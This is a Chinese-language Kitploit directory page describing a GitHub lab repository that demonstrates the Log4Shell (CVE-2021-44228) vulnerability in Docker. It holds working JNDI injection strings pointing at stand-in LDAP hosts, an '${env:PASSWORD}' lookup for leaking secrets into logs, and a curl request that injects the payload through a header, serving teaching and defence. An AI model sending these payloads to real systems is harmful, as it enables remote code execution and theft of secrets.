Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j-cve-2021-44228-sample — 示例 docker-compose 配置,展示此漏洞利用的工作方式 | Kitploit
工具/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

示例 docker-compose 配置,展示此漏洞利用的工作方式

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
24年前尚未审核
分享

一个log4j漏洞利用示例

该仓库包含一个利用近期log4j漏洞的可行示例。它并不执行实际的远程代码执行,而是向您展示恶意攻击者可以多么轻易地让一个存在漏洞的应用程序调用其自身的ldap服务器。

本示例使用了 christophetd 创建的优秀log4j漏洞示例应用:https://github.com/christophetd/log4shell-vulnerable-app

说明

该漏洞利用了log4j的lookup功能,特别是jndi——它允许log4j从外部主机执行查询以获取数据输入。此漏洞可被利用来实现从记录环境中的敏感变量到远程执行代码等多种行为。

当日志器被调用时,任何包含在${}中的文本都会触发查询查找。例如,

root@kitploit:~
${jndi:ldap://someldapserver:1389/o=example}

会对给定查询的LDAP服务器执行查询并输出结果。

一个更简单但不使用jndi、却仍然危险的示例:

root@kitploit:~
${env:PASSWORD}

这会将环境变量的内容打印到日志中。然后,有权限查看这些日志的人就可以从应用程序中提取敏感数据。

log4j代码

log4j中能够被利用的代码非常简单。只需调用日志器来记录未经过滤的某个请求属性即可。例如,可以记录User-Agent的内容。

root@kitploit:~
... @GetMapping("/bad") public void Bad(@RequestHeader("User-Agent") String userAgent) { logger.info("Received User-Agent header " + userAgent); }

使用本示例

首先,构建本地ldap服务器:

root@kitploit:~
docker build -t ldapnode .

构建完成后,通过运行以下命令启动整个堆栈:

root@kitploit:~
docker-compose up

然后,你可以使用x-api-version头向应用发送请求,注入查询查找:

root@kitploit:~
curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

使用该请求后,你将会在docker-compose的日志中看到ldap服务器已被调用:

root@kitploit:~
bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

如果你受到影响该怎么办

请参阅此文档了解解决方法。

下载工具